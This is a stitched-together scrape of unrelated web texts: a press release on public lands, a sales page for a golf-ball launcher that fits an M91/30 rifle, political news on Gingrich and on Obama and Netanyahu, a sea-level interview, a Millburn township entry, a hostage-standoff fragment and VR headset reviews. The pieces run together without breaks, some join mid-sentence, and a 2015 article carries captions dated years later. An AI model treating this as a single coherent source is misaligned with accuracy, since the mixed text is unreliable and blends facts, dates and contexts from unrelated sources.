Follow @SorianoJoeFor Immediate Release, January 4, 2017 Contact: Randi Spivak, (310) 779-4894, rspivak@biologicaldiversity.org Republican Congress Declares America's Public Lands to Be Worthless, Sets Stage for Massive Giveaway WASHINGTON— On the first day of the new Congress, House Republicans approved a package of rules Tuesday that included a provision that would treat giving away America's public lands as “budget neutral,” meaning that they have no monetary value when it comes to giving, selling or trading them away to states. The rules are part of a larger effort by politicians like Rep. Rob Bishop (R-Utah) who want to hand over control of federal public lands to states and corporate interests. “America's forests, mountains, deserts, rivers and other public lands are priceless, irreplaceable places treasured by people across the country,” said Randi Spivak, public lands director at the Center for Biological Diversity. “It's appalling to see this new Republican-controlled Congress already tossing them aside as worthless.” Bishop and others in Congress have been trying to hand over millions of acres of public lands so they can be exploited for private gain, including oil and gas drilling, logging and development. Several bills are expected in the 115th Congress that will enact the scheme.
“Public lands are worth far more than any short-term profits that these corporations will get. They provide everyday people with fresh drinking water, cleaner air and havens for recreational adventures and wildlife that live nowhere else,” Spivak said. “Here's a chance for President-elect Trump to follow through on his promise not to give away America's public lands to the highest bidder.”Okay, so is there really any practical reason for needing to launch a golf ball from a M91/30 rifle. Absolutely not. But it is Fun! Fun! Fun!.
The design of these launchers is based on the original grenade launcher for the Nagant rifles. The unit fits over the muzzle and twist to secure in place. It also incorporates a nylon set screw to lock in place if desired. The concept is simple. You drop a golf ball, load a blank behind it, and let her rip.
These launchers are designed to launch a golf ball for very long distances. I would like to tell you just how far it will launch one when fired into the air but so far we have never been able to find where it landed. Our guys that have done the test firing estimate the distance that these are launched to be a least 500 yards. Top that Tiger Woods.
Note - Expect to have to do some fitting to adapt the launcher to fit your rifle. We have tried it on numerous rifles here and it fit's some, and does not fit others. The launchers are all made exactly the same but there are minor spec differences between rifles so some launchers may require minor fitting in order to lock onto the weapon properly. If you can't use a file or dremel tool, or the thoughts of the launcher not fitting properly right out of the box gives you cause for concern, then don't buy one.
Also note that these are our Gen II Launchers. We sold through our first batch some time ago with tremendous success and they worked great but we really thought that we could improve the design so we went back to the drawing board. The final product was everything that we hoped for. These are simply awesome.
We had a video up for a short time on our last batch of these which really showed how well these things performed and how powerful they were. Unfortunately we were also acting somewhat like goofballs in it and not being as responsible as we should have been. After viewing the video smarter minds within the office prevailed and we took it down as it possibly did not show us being responsible enough in the manner that we were demonstating the launcher. One thing for sure, these are not toy's and should only be used while utizlizing a great deal of caution and common sense. The ball literally comes out of the launcher like a great big golf ball sized bullet and would either blow a hole though anything in front of it, or if fired into a hard surface could come back with lethal force. As such get one and enjoy but please be careful and use good judgement.
Hopefully we can get a new video up soon but until then you will just have to trust me. These are great.
Safety Warning - While the product itself is safe please know that these blanks will launch a golf ball with near as much kinetic energy as a bullet and the results, especially at close range, can be just as devastating if not more so. The blanks themselves can do damage at close range the golf balls are launched with enough force to cause serious injury and death. Never fire at any one or any thing other than open sky. Be aware of potential landing area and be sure it is unpopulated.
Product is designed to launch golf balls across open land in a safe manner any other use could result in serious injury and should be discouraged. Never fire projectile at a hard surface as rebound could occur resulting in injury or death.
IMPORTANT! Please Read Full Safety Warning Here!poster="https://v.politico.com/images/1155968404/201603/912/1155968404_4781380054001_4781362565001-vs.jpg?pubId=1155968404" true “But Trump will tower over all of them,” Gingrich told Fox News on Tuesday. “The scale of his victories from Massachusetts and Vermont all the way across to Alaska is gonna be pretty stunning and, really for a guy who’s only been in politics for seven months, almost unimaginable.” Gingrich: 'Trump will tower over all of them'
Former House Speaker Newt Gingrich said Republican front-runner Donald Trump will “tower over” his rivals all across the country on Super Tuesday.
Gingrich said Texas Sen. Ted Cruz, who is expected to win his home state, has a chance to emerge as the most likely alternative to Trump and win more delegates than Florida Sen. Marco Rubio on Tuesday.
“But Trump will tower over all of them,” Gingrich told Fox News on Tuesday. “The scale of his victories from Massachusetts and Vermont all the way across to Alaska is gonna be pretty stunning and, really for a guy who’s only been in politics for seven months, almost unimaginable.”
Gingrich said there will be a frenzy among the Republican establishment to stop the billionaire from winning the nomination. “I don’t think the frenzy will work, and if it doesn’t, then both Trump and the Republican leadership — the traditional leadership — face a big decision.”
Republicans can take this campaign down the Barry Goldwater path and “get beaten badly,” Gingrich posited, or be like Ronald Reagan and “win a stunning victory.”
“There’s no middle ground here, and I think Trump is about half of that decision,” Gingrich said. “The other half of that decision is gonna be the Republican leadership.”
Gingrich stopped short of endorsing Trump — despite calling him “very, very impressive” — but described the businessman as an “anti-left, anti-politically correct, anti-stupidity American nationalist” who uses those principles to guide his decisions. “Sometimes that makes him complicated for conservatives because they have these cookie-cutter you-are-for-this-you’re-for-that, and I think I have pretty good credentials as a conservative,” he said.Washington (CNN) The Obama administration's frustration with Benjamin Netanyahu is turning into outright hostility after the Israeli prime minister's commanding victory this week.
Administration officials greeted his win with harsh words Wednesday and suggestions that the U.S. might scale back its support for Israel at the United Nations, a significant reversal in policy after years of vetoing resolutions damaging to Jerusalem.
A senior administration official said that Netanyahu's sharp tacks to the right before Tuesday's vote -- in which he ruled out the creation of a Palestinian state, a pillar of U.S. policy in the Middle East -- "raise very significant substantive concerns" for the White House, and that "we have to reassess our options going forward."
People line up to vote in Bnei Brak on March 17.
People line up to vote in Bnei Brak on March 17.
A woman and child stand outside a polling station in Abu Ghosh, Israel, on March 17.
A woman and child stand outside a polling station in Abu Ghosh, Israel, on March 17.
Herzog talks to the media after voting in Tel Aviv on March 17.
Herzog talks to the media after voting in Tel Aviv on March 17.
An ultra-Orthodox Jewish man casts his ballot at a Jerusalem polling station on March 17.
An ultra-Orthodox Jewish man casts his ballot at a Jerusalem polling station on March 17.
A man hangs a poster of Netanyahu at his election campaign headquarters in Tel Aviv on March 17.
A man hangs a poster of Netanyahu at his election campaign headquarters in Tel Aviv on March 17.
An Israeli bride prepares to cast her vote at a polling station in Holon, Israel, on March 17.
An Israeli bride prepares to cast her vote at a polling station in Holon, Israel, on March 17.
Supporters of the Zionist Union alliance take part in early celebrations as they wait for election results March 17 in Tel Aviv.
Supporters of the Zionist Union alliance take part in early celebrations as they wait for election results March 17 in Tel Aviv.
Likud supporters celebrate in Tel Aviv after some exit poll results were announced Tuesday, March 17.
Likud supporters celebrate in Tel Aviv after some exit poll results were announced Tuesday, March 17.
Isaac Herzog, co-leader of the Zionist Union alliance, shakes hands with supporters in Tel Aviv as he reacts to exit poll figures on Tuesday, March 17.
Isaac Herzog, co-leader of the Zionist Union alliance, shakes hands with supporters in Tel Aviv as he reacts to exit poll figures on Tuesday, March 17.
Israeli Prime Minister Benjamin Netanyahu greets supporters at the Likud party's election headquarters in Tel Aviv, Israel, on Wednesday, March 18. Netanyahu appears poised to keep his job after Likud grabbed at least 29 of the 120 seats in Israel's parliament, according to unofficial numbers. The Zionist Union came in second, with at least 24 seats.
Israeli Prime Minister Benjamin Netanyahu greets supporters at the Likud party's election headquarters in Tel Aviv, Israel, on Wednesday, March 18. Netanyahu appears poised to keep his job after Likud grabbed at least 29 of the 120 seats in Israel's parliament, according to unofficial numbers. The Zionist Union came in second, with at least 24 seats.
Another senior U.S. official told CNN that Netanyahu's nixing of Palestinian statehood "could change things" for the U.S.-Israel relationship.
That official said the administration is waiting to see if Netanyahu walks back his comments. He warned, "We are in a very, very different situation than we have been in years if that is not the case."
But in some ways, they already are. President Barack Obama made it clear to Netanyahu on Wednesday that the Israeli prime minister, with whom he has repeatedly clashed, is still in the doghouse -- likely more so than ever before.
A troubled relationship
Yet now that Netanyahu has been reelected, the two leaders will have to work with each other for the next two years. How their troubled relationship will affect cooperation on the high-stakes issues facing both countries -- Iran's nuclear program, regional violence and the future of the Palestinians -- remains to be seen. But America's historic support for Israel at the U.N., as well as any White House ambitions of brokering further Israeli-Palestinian negotiations, seem likely to be affected sooner rather than later.
Instead of Obama, it was Secretary of State John Kerry who called Netanyahu Wednesday to congratulate him on his victory. The President is expected to call only "in the coming days," according to White House Press Secretary Josh Earnest.
In the meantime, Earnest had some hard language of his own for Netanyahu, particularly concerning campaign rhetoric in which the prime minister described Arabs as "voting in droves." The administration, Earnest said, is "deeply concerned" over the prime minister's "divisive" rhetoric about the Arab population.
A senior official who did not wish to be named went further, calling Netanyahu's words "offensive" and contrary to a democracy, where "we expect that you will treat your citizens equally."
While some quickly downplayed Netanyahu's comments as nothing more than political theater, Netanyahu's explicit opposition to a Palestinian state marked a departure from the policy of American administrations -- Republican and Democrat -- for more than a decade.
His apparently successful gambit to drive right-wing voters to the polls has sunk his relationship with Obama lower even than it was two weeks ago, when the Israeli leader made a controversial address to Congress openly opposing the administration's Iran policy in a move Democrats saw as highly partisan.
While U.S. officials continue to insist that U.S. support for Israel's security is sacrosanct, they have suggested that U.S. political support for Israel at the U.N. and with its European allies could suffer if the rift between the U.S. and Israel deepens.
Steven Simon, a former National Security Council official under Obama, said that given the strain with Netanyahu, the White House might now consider paring down the defense American diplomats play for Israel at the U.N.
The U.S. typically uses its veto power to swat away any anti-Israel resolutions or Palestinian attempts at reaching statehood through the U.N. Now, American diplomats could instead authorize some resolutions after edits or abstain from voting on them.
"That in itself in the context of administration policy would be a fairly dramatic step," Simon said.
Any drop in American support would come at a time when Israel needs that diplomatic backing more than ever. Palestinians joined the International Criminal Court in January and plan to file their first war crimes case against Israel next month. There is also a resolution under consideration that calls for a two-state solution based on Israel's 1967 borders, something Jerusalem opposes.
Security aid unaffected
U.S. officials and members of Congress stress, however, that the tensions with Israel won't lead to any cuts to the massive security aid package the U.S. funnels to Israel every year or to any change in the close military cooperation between the two countries.
"I think the military to military and intelligence cooperation is going to go on no matter who is in that office," California Rep. Adam Schiff, a Democrat, told CNN as Israelis flocked to the polls, though he warned that the relationship between Netanyahu and Obama could deteriorate even further.
JUST WATCHED High stakes for White House in Israel vote Replay More Videos... MUST WATCH High stakes for White House in Israel vote 01:56
But Netanyahu's electioneering isn't costing him any support from his base in the U.S.: Republican lawmakers.
Arizona Sen. John McCain welcomed the election news by tweeting, "Congrats to Bibi -- the comeback kid!"
And potential Republican presidential contenders quickly blasted out statements lauding Netanyahu, many of them comparing him to British Prime Minister Winston Churchill.
Republicans stand to gain from victory by Netanyahu, who could bolster their argument that Obama is preparing a deal with Iran that could endanger the U.S. and Israel. And Netanyahu will also remain a thorn in Obama's side as the prospect of that deal nears.
Democrats had more mixed reactions.
Sen. Dianne Feinstein of California, who had criticized Netanyahu's plans to address Congress against the White House's wishes, said in a statement Wednesday that she hopes everyone will make fixing the U.S.-Israel relationship a priority, "regardless of political affiliation."
But she also stressed that Israel must remain committed to a two-state solution "despite campaign rhetoric."
New York Rep. Eliot Engel, however, seemed sure that Netanyahu would roll back his comments barring a Palestinian state and said people shouldn't "read too much into it."
Heated campaign rhetoric
"In the rhetoric and the heat of campaigns there are lots of things that are said," Engel, the top Democrat on the House Foreign Affairs Committee, told CNN. "I think that when they get shaken out we'll find out that not much has changed."
Engel stressed that the countries' shared democratic values would keep the relationship between the two partners strong regardless. And both sides have repeatedly pointed to mutual security concerns and other joint interests as factors that perpetually keep relations on track.
Photos: Netanyahu's life in pictures Photos: Netanyahu's life in pictures Israeli Prime Minister Benjamin Netanyahu speaks in Jerusalem during a weekly Cabinet meeting in November 2013. Click through to see more photos from his life and career. Hide Caption 1 of 47 Photos: Netanyahu's life in pictures Netanyahu, right, sits with a friend at the entrance to his family home in Jerusalem on July 1, 1967. The Israeli prime minister was born October 21, 1949. Hide Caption 2 of 47 Photos: Netanyahu's life in pictures Netanyahu, right, with a friend in the Judean Desert on May 1, 1968. Hide Caption 3 of 47 Photos: Netanyahu's life in pictures Netanyahu serves in the Sayeret Matkal, an elite commando unit of the Israeli army, in 1971. He spent five years in the unit. Hide Caption 4 of 47 Photos: Netanyahu's life in pictures Netanyahu shakes hands with Israeli President Zalman Shazar during a November 1972 ceremony honoring the Sayeret Matkal soldiers who freed hostages in a hijacking earlier that year. Hide Caption 5 of 47 Photos: Netanyahu's life in pictures Netanyahu and his first wife, Miriam, in June 1980. Hide Caption 6 of 47 Photos: Netanyahu's life in pictures Netanyahu and his daughter, Noa, in June 1980. Hide Caption 7 of 47 Photos: Netanyahu's life in pictures Netanyahu speaks in July 1986 with Sorin Hershko, one of the Israeli soldiers wounded in Operation Entebbe. It was the 10th anniversary of Operation Entebbe, a dramatic rescue of Jewish hostages at Uganda's Entebbe Airport. Netanyahu's brother, Yonatan, was killed leading Operation Entebbe in 1976. Affected by his brother's death, Netanyahu organized two international conferences on ways to combat terrorism, one in 1979 and another in 1984. Hide Caption 8 of 47 Photos: Netanyahu's life in pictures From 1984 to 1988, Netanyahu was Israel's ambassador to the United Nations. Hide Caption 9 of 47 Photos: Netanyahu's life in pictures Netanyahu talks to Israeli Prime Minister Yitzhak Shamir on a stroll in New York's Central Park in November 1987. Hide Caption 10 of 47 Photos: Netanyahu's life in pictures Netanyahu, as Israel's deputy foreign minister, goes through some papers as Government Secretary Elyakim Rubinstein recites morning prayers on a flight from New York to Washington in April 1989. Hide Caption 11 of 47 Photos: Netanyahu's life in pictures Shamir speaks with Netanyahu at a Middle East peace conference in Madrid in October 1991. Hide Caption 12 of 47 Photos: Netanyahu's life in pictures Netanyahu celebrates after being elected chairman of the right-wing Likud party on March 21, 1993. Hide Caption 13 of 47 Photos: Netanyahu's life in pictures Netanyahu and former foreign minister David Levy sit in the Knesset during the vote for a new Israeli President on March 24, 1993. Hide Caption 14 of 47 Photos: Netanyahu's life in pictures Netanyahu meets with King Hussein of Jordan, center, and Crown Prince Hassan in December 1994. It was Netanyahu's first visit to Jordan. Hide Caption 15 of 47 Photos: Netanyahu's life in pictures Netanyahu shakes hands with outgoing Israeli Prime Minister Shimon Peres before taking the office himself in June 1996. Hide Caption 16 of 47 Photos: Netanyahu's life in pictures Netanyahu meets with Palestinian leader Yasser Arafat for the first time on September 4, 1996, at an Israeli army base at the Erez Checkpoint in Gaza. Hide Caption 17 of 47 Photos: Netanyahu's life in pictures Netanyahu meets with U.S. Secretary of State Madeleine Albright in Washington in February 1997. Hide Caption 18 of 47 Photos: Netanyahu's life in pictures Netanyahu spends the day on the beach with his wife, Sara, and son Avner in Caesarea, Israel, on August 16, 1997. Hide Caption 19 of 47 Photos: Netanyahu's life in pictures Actor Kirk Douglas holds the King David Award, presented to him by the Jerusalem Fund Aish Ha Torah during a dinner in Beverly Hills, California, on November 17, 1997. Douglas was honored for his inspirational commitment to Israel and the Jewish people and in recognition of his new book "Climbing the Mountain." Netanyahu is on the left. To the right is Rabbi Nachum Braverma, director of the Jerusalem Fund Aish Ha Torah. Hide Caption 20 of 47 Photos: Netanyahu's life in pictures Netanyahu looks through binoculars during a tour of the West Bank with the Israeli Cabinet on December 28, 1997. Hide Caption 21 of 47 Photos: Netanyahu's life in pictures Netanyahu and U.N. Secretary-General Kofi Annan meet in Annan's office in New York on May 15, 1998. Hide Caption 22 of 47 Photos: Netanyahu's life in pictures From left, Arafat, King Hussein, U.S. President Bill Clinton and Netanyahu sign an interim Middle East peace agreement in October 1998. Hide Caption 23 of 47 Photos: Netanyahu's life in pictures Netanyahu thanks a crowd of supporters in Tel Aviv, Israel, at a Likud party meeting in May 1999. The outgoing Prime Minister announced that he was quitting the Knesset and stepping down as party leader 10 days after being defeated in elections. Hide Caption 24 of 47 Photos: Netanyahu's life in pictures Netanyahu testifies before the U.S. House Government Reform Committee on September 20, 2001. The committee was conducting hearings on terrorism following the September 11 attacks. Hide Caption 25 of 47 Photos: Netanyahu's life in pictures Netanyahu, as Israel's foreign minister, laughs with Israeli Prime Minister Ariel Sharon at the start of a Likud convention in Tel Aviv on November 12, 2002. Hide Caption 26 of 47 Photos: Netanyahu's life in pictures Netanyahu and his wife, Sara, are seen at a polling station in Jerusalem on August 14, 2007. He was re-elected as head of the Likud party. Hide Caption 27 of 47 Photos: Netanyahu's life in pictures Netanyahu shakes hands with Israeli President Shimon Peres in February 2009 after Netanyahu won backing from the Israeli parliament to become Prime Minister again. A close election between Netanyahu and rival Tzipi Livni had left the results unclear until the parliament's decision. Hide Caption 28 of 47 Photos: Netanyahu's life in pictures From left, Egyptian President Hosni Mubarak, Netanyahu, U.S. President Barack Obama, Palestinian President Mahmoud Abbas and Jordan's King Abdullah II walk to the East Room of the White House to make statements on the Middle East peace process on September 1, 2010. Hide Caption 29 of 47 Photos: Netanyahu's life in pictures Obama meets with Netanyahu at the White House in September 2010. Hide Caption 30 of 47 Photos: Netanyahu's life in pictures U.S. Secretary of State Hillary Clinton looks on as Abbas and Netanyahu shake hands in Sharm El-Sheikh, Egypt, on September 14, 2010, during a second round of Middle East peace talks. Hide Caption 31 of 47 Photos: Netanyahu's life in pictures British Prime Minister David Cameron welcomes Netanyahu to 10 Downing Street in London on May 4, 2011. Hide Caption 32 of 47 Photos: Netanyahu's life in pictures Netanyahu address a joint session of the U.S. Congress on May 24, 2011. He said that he was prepared to make "painful compromises" for a peace settlement with the Palestinians, but he repeated that Israel will not accept a return to its pre-1967 boundaries. Hide Caption 33 of 47 Photos: Netanyahu's life in pictures Netanyahu uses a diagram of a bomb to describe Iran's nuclear program while delivering an address to the U.N. General Assembly on September 27, 2012. Netanyahu exhorted the General Assembly to draw "a clear red line" to stop Iran from developing nuclear weapons. Hide Caption 34 of 47 Photos: Netanyahu's life in pictures Netanyahu and Avigdor Lieberman of the Likud-Beiteinu coalition party greet supporters as they arrive onstage on election night in January 2013. The Likud-Beiteinu won 31 seats in the Knesset. Hide Caption 35 of 47 Photos: Netanyahu's life in pictures Netanyahu speaks at the U.N. General Assembly on October 1, 2013. He accused Iranian President Hassan Rouhani of seeking to obtain a nuclear weapon and described him as "a wolf in sheep's clothing, a wolf who thinks he can pull the wool over the eyes of the international community." Hide Caption 36 of 47 Photos: Netanyahu's life in pictures In December 2014, Netanyahu called for early elections as he fired two key ministers for opposing government policy. Hide Caption 37 of 47 Photos: Netanyahu's life in pictures Netanyahu is greeted by members of US Congress as he arrives to speak in the House chamber in March 2015. He warned that a proposed agreement between world powers and Iran was "a bad deal" that would not stop Tehran from getting nuclear weapons -- but would rather pave its way to getting lots of them and leave the Jewish State in grave peril. Hide Caption 38 of 47 Photos: Netanyahu's life in pictures Netanyahu and his family take a vacation in southern Israel in April 2015. Hide Caption 39 of 47 Photos: Netanyahu's life in pictures Netanyahu and German Chancellor Angela Merkel talk in Berlin in October 2015. Hide Caption 40 of 47 Photos: Netanyahu's life in pictures Netanyahu speaks to the press in Tel Aviv, Israel, in June 2016. A day earlier, two attackers identified as Palestinians opened fire at a popular food and shopping complex near the Israeli Defense Ministry in Tel Aviv, killing four Israelis and sending other patrons scrambling to safety. Hide Caption 41 of 47 Photos: Netanyahu's life in pictures Netanyahu stands next to US President Barack Obama as they attend the funeral of former Israeli President Shimon Peres in September 2016. Hide Caption 42 of 47 Photos: Netanyahu's life in pictures Netanyahu visits Moriah College in Sydney in February 2017. It was the first time an Israeli prime minister had visited Australia. Hide Caption 43 of 47 Photos: Netanyahu's life in pictures Netanyahu speaks to US President Donald Trump in May 2017. Trump visited Israel and the West Bank during his first foreign trip as President. Hide Caption 44 of 47 Photos: Netanyahu's life in pictures Netanyahu and his wife, Sara, pose for a photo at the Taj Mahal in Agra, India, in January 2018. Hide Caption 45 of 47 Photos: Netanyahu's life in pictures Netanyahu, speaking at a security conference in Germany in February 2018, holds up what he claimed is a piece of an Iranian drone that was shot down after it flew over Israeli territory. Hide Caption 46 of 47 Photos: Netanyahu's life in pictures Netanyahu, giving a speech at the Ministry of Defense in April 2018, accused Iran of "brazenly lying" over its nuclear ambitions. He said Israel had uncovered files that prove his allegation and that the Islamic republic is keeping an "atomic archive" at a secret compound. Iranian Deputy Foreign Minister Abbas Araghchi called Netanyahu's comments "childish" and "laughable." Hide Caption 47 of 47
But the Obama administration said it was taking the Palestinian state comments at "face value" for now, with a senior official saying that while the White House understands heated rhetoric can be a part of a campaign, "there are policy ramifications."
And some progressive Democrats aren't so sure Netanyahu could or would refine his view on a Palestinian state, viewing his election strategy as a risky move that could further isolate Israel.
"It's not just tensions between the Netanyahu government and the Obama administration. It's a fundamental tension between what a majority of Americans [think]," said Rep. Earl Blumenauer of Oregon, one of nearly 60 Democrats to boycott Netanyahu's speech last month.
Blumenauer voiced the frustration of many who have watched one peace process after another buckle and see Netanyahu's decisive win with the help of right-wing votes making it unlikely the peace process will get a new beginning during Obama's presidency.
For Blumenauer, there's no doubt that "the ball's in [Netanyahu's] court" if he wants to massage strained ties.
He's not the only one to place the burden for an improvement in ties on Netanyahu -- or the only one struggling to see a rekindling of the peace process in Netanyahu's reelection
"One hopes that when out of campaign mode, the prime minster would recognize the importance of the United States strategically to Israel and would take a step or two in the direction of trying to ease the tensions," said Jeremy Ben-Ami, the executive director or the pro-Israel, pro-peace group J Street. Asked whether the peace process could be reignited under Netanyahu, Ben-Ami was concise: "No."
Maintaining the status quo
But a top George W. Bush adviser said that it was unlikely Netanyahu would be willing to do much to mend relations with Obama.
"From Netanyahu's point of view, he is the person who has been sinned against, who has been treated badly for six years," said Elliott Abrams, a former deputy National Security Council adviser.
Instead, it's more likely Netanyahu and Obama will decide to live with the status quo of their relationship -- unless, he suggested, they decide to learn from the ratcheting up of tensions in recent months.
The White House's attacks on Netanyahu in the lead-up to the election didn't sway Israelis and Netanyahu's politicking and defiance of Obama only deepened the rift between the two leaders.
"Maybe it's possible to just turn down the heat," Abrams said.On his last day in office U.S. President Barack Obama received a government report on global sea level rise.
It says by the year 2100, the oceans around us could rise by as much as 2.5 metres — with Nova Scotia being particularly hard hit by the repercussions.
Boris Worm, a marine biologist at Dalhousie University, explains what this means for Nova Scotians.
This interview has been edited for clarity and length.
Q: Who came up with this number? Who came out with the report?
The remarkable thing is this comes straight from the U.S. government, from the National Oceanic and Atmospheric Administration, which is the equivalent of our Department of Fisheries and Oceans, roughly. They authored a report called Global Regional Sea Level Rise Scenarios for the United States.
They did this though, remarkably, on the last day of the Obama administration and you can't help but think that they felt that if they didn't release it now it wouldn't be released at all under the Trump administration.
They came up with this upper limit of 8.2 feet or 2.5 metres and a lower limit of one foot or 0.35 metres, so it's somewhere in the range of that.
The one foot would be if we stop everything now and do anything we can to avoid further climate change and then the 2.5 metres — which right now is the more likely scenario — if we're only going to have minor adjustments and going to burn through our fossil fuels as we have.
The Armdale Roundabout is just one of the areas that would be underwater if new predictions about sea level rise are accurate. (CBC)
Q: How would coast roads and landscapes in Nova Scotia cope with two and a half more metres of water?
It's remarkable. I was driving down Quinpool Road on my way here. You're by the rotary, so that's under water.
You see all the coastal property, very low-lying, very valuable property. That's under water. Then you have to add storm floods on top of that.
Different places are affected differently. Our region for example would experience more than the average and this has to do with the gravitational pull of the continents, the shape of the ocean basins, the lifting or sinking of land masses that are still recovering from the ice age.
For a given amount of sea level rise our region would see more than that and then the Pacific Northwest so British Columbia and Alaska for example would see less than that. So that means we're at the losing end of this game.
Valuable downtown properties would be lost if the new estimates on sea level rise come to pass. (Facebook)
Q: How likely is the worst case scenario?
It's if we continue with business as usual — which the U.S. is again on track, but Canada very much so is not on track.
Nova Scotia, since they came out with that action plan [in 2009], has transformed 27 per cent of their electricity supply by renewable sources. Wind, solar, tidal, biomass and hydro. And by 2020 they're on track to have 40 per cent generated by renewable power.
We're really in a fast transition here in Nova Scotia and Canada more broadly to wean ourselves off fossil fuels. Maybe not fast enough but certainly faster than some other places.
Even a single foot of sea level rise would increase the likelihood of these floods 25-fold, meaning it doesn't happen every five years it happens five times a year. Think about that. That means all the time. And that's just a foot — and we're talking about eight feet — so really I have to say it's unimaginable what eight feet will do to New York City, to Venice, to Halifax, to all of these coastal cities.
Worm says with the sea level rise there will be a 25-fold increase in flooding. (Andrew Vaughan/The Canadian Press)
Q: Was this report a revelation for you?
I have to say I didn't see this coming and I think most people haven't seen this coming. People are realizing that a lot of the Antarctic ice shelf is unstable now … and it really affects our daily lives here.
We really have to face that reality … the highest emission scenario is that 25-fold increase in floods will be realized by 2030 — that's 13 years away.
Under the lowest, most aggressive greenhouse gas reduction scheme it will be 2080. So not in my lifetime but certainly within our children's' lifetime.
We can buy ourselves 50 years to prepare for that one foot sea level rise and then hopefully cap the total magnitude by doing the right thing now.Township in New Jersey, United States
Millburn is a suburban township in Essex County, New Jersey, United States. As of the 2010 United States Census, the township's population was 20,149,[9][10][11] reflecting an increase of 384 (+1.9%) from the 19,765 counted in the 2000 Census, which had in turn increased by 1,135 (+6.1%) from the 18,630 counted in the 1990 Census.[23]
Millburn was created as a township by an act of the New Jersey Legislature on March 20, 1857, from portions of Springfield Township, when Union County was formed.[24] Earlier known variously as Milltown, Millville, Rum Brook and Vauxhall, the name "Millburn" was adopted before the township was established. The township's name derives from the burn (Scottish for a stream) that powered mills in the area.[25][26]
The township is home to the South Mountain Reservation, The Mall at Short Hills and the Paper Mill Playhouse, an established regional theater.
New Jersey Monthly magazine ranked Millburn as the 53rd best place to live in New Jersey in its 2008 rankings of the "Best Places To Live" in New Jersey.[27]
Millburn had the highest annual property tax bills in the U.S. state of New Jersey in 2009 at $19,097, compared to the statewide average of $7,300 that year, which was the highest in the United States.[28] This is primarily a function of high property values, as Millburn had the lowest effective property tax rate in 2014 (1.9%) among the 22 municipalities in Essex County.[29]
History [ edit ]
In June 2007, Millburn celebrated its 150th birthday in its downtown, in one of the biggest celebrations in Millburn history.[30]
Geography [ edit ]
According to the United States Census Bureau, the township had |
gunshots were heard after the blast as the suspect allegedly engaged in a firefight with the officers.
Authorities told local media that the fire department was at the residence in response to a medical call. Fire department Captain Tommy Rutledge said the call the firefighters were responding to seemed routine, a kind “they respond to hundreds of times.” Rutledge refused to speculate on whether there was a real emergency at the home.
Initially the suspect, who has not been identified, had taken five firefighters hostage but later released one so that he could move the fire truck away from the house.
Ritter reported that the gunman was suffering from financial difficulties and demanded his power and cable be restored. Public records show that the house where the firefighters were being held is in foreclosure and had been bank-owned since November of 2012.
"He wanted all those things turned back on," Ritter said. "That's why he was holding them hostage."
Authorities asked media to "not cover anything" around the scene, as they were not sure whether the hostage-taker had access to news. "Several negotiators" flocked to the scene trying to get the remaining four firefighters out of the house, one local official told reporters. Before the news helicopters were forced to move away, video footage showed dozens of police and fire trucks surrounding the neighborhood. Ambulances were deployed to the area and Gwinnett County's district attorney arrived to the scene.
"This is the result of his actions," Ritter said. "We didn't want it this way but he was calling the shots, and this was the end result."This is what HTC's Vive VR headset looks like in real life. It's not a dummy model; those sensors are fully functional. It's on my actual head. The first thing you may notice (if you don't, check the gallery below), is that it looks a little bigger than the Oculus Rift. Or at least, thanks to the height of the sensor-housing faceplate, it feels that way. Those sensors are also exposed, a bit like they were on Oculus' Crystal Cove prototype at CES 2014. Take a look around the headset from different angles, and you'll see that HTC may not have deviated from the current virtual reality design script too far, but at the same time, it doesn't feel entirely derivative. Can this thing blow our minds like we hope it will? Is the VR race now officially on (given, you know who's newest headset has just debuted too)? We'll let you know once HTC finally pours its Valve-powered VR content into our eyes later this week.Last night I found myself standing courtside at an NBA game, the season opener in the new Sacramento Kings stadium. I could count the laces on Pau Gasol’s sneakers and catch a glimpse of training staff taping up an injured player’s hand beside the bench. Suddenly, everything froze, and I peered around an exquisitely detailed tableau. It had some of the robust depth of real life, especially when I peered at players standing close to me. The farther away the athletes were positioned, however, the more they look like two dimensional cutouts in a life size diorama.
I was watching the first NBA game broadcast live in VR. It was produced by a startup called NextVR, and shown inside their app (itself inside the Oculus app). For now the NBA VR experience is available only on Samsung’s Galaxy Gear VR headset, which I used with a Galaxy S6 Edge smartphone mounted inside. It’s a fascinating experience, and a flawed one. I got an intimate perspective on the game, one much closer to actually sitting in the stadium than watching it on TV. I noticed fun little details for the first time, for example that Gasol has a bit of potbelly. But the world viewing was also warped and pixelated, hardly a convincing illusion that I had been truly transported to a courtside seat.
I had only half the world to watch
The best way I can describe the experience is to say that it felt like very well built telepresence robot, as if I was inside a stationary camera that swiveled with my head motion. I had slightly less than 180 degrees field of view facing forward, and I could look down to see a floating graphic displaying the quarter, game clock, and score. The 180 degrees behind me were a software simulation with more in depth stats on the game. NextVR made this choice in part to limit the amount of live video it has to stream, and in part to help preserve your focus on the game. It works, although I think it would have been easier to get into the energy of the game if I could turn around and see the crowd.
The main viewpoint is a camera set right on the sideline at center court. When the players were making a run across the court at the start of each possession, the central camera position provided a great view, and I experienced their speed and size in a way that I don’t when watching TV. But when the action got close to one basket, the limitations of this camera emerged. From my center court perspective I could see a ways down the sideline, but anyone taking a three pointer from behind the arc on my side of the court was obscured as they moved towards the corner.
The stream decides when your point of view should change
To counteract this, the view of the game you’re watching is produced. Just like a televised broadcast, a team from NextVR decides when to switch between eight different camera perspectives. This lets you jump to a viewpoint behind the hoop when the action is happening close to the basket and might be difficult to watch from center court. It’s a smart choice for ensuring I didn’t miss anything, but it made it much harder to really feel "present", since my perspective kept bouncing around: from courtside up into the cheap seats, then down into the tunnel leading to the locker room, then back behind the basket.
NextVR also has their own commenting crew, who kept up decent patter about the game. One nice touch was that they seemed to be watching the same VR style broadcast I was, and would make suggestions sometimes about where and when to look. There was natural sound piped in along with the commentary: the roar of the crowd, the squeak of sneakers, the thump of a ball bouncing off the hardwood floor. But the audio didn’t work well enough to really enhance the sensation that I was actually at the game.
Once you put the headset on, it's hard to take breaks to relax or socialize
I watched three quarters of the game before calling it quits. It was an interesting experience, one I would try again. But it was clearly a work in progress, and frustrating at times, with the image freezing and the audio garbling at various points, forcing me to back out of the app and restart the stream.
Beyond the technical glitches, there are fundamental issues with watching pro sports in VR. There are lot of pauses in the action, points where a television broadcast cuts to commercial and you check your phone, grab a snack, or use the bathroom. I could do those things last night too, but to do so meant taking off the headset and completely losing track of the game.
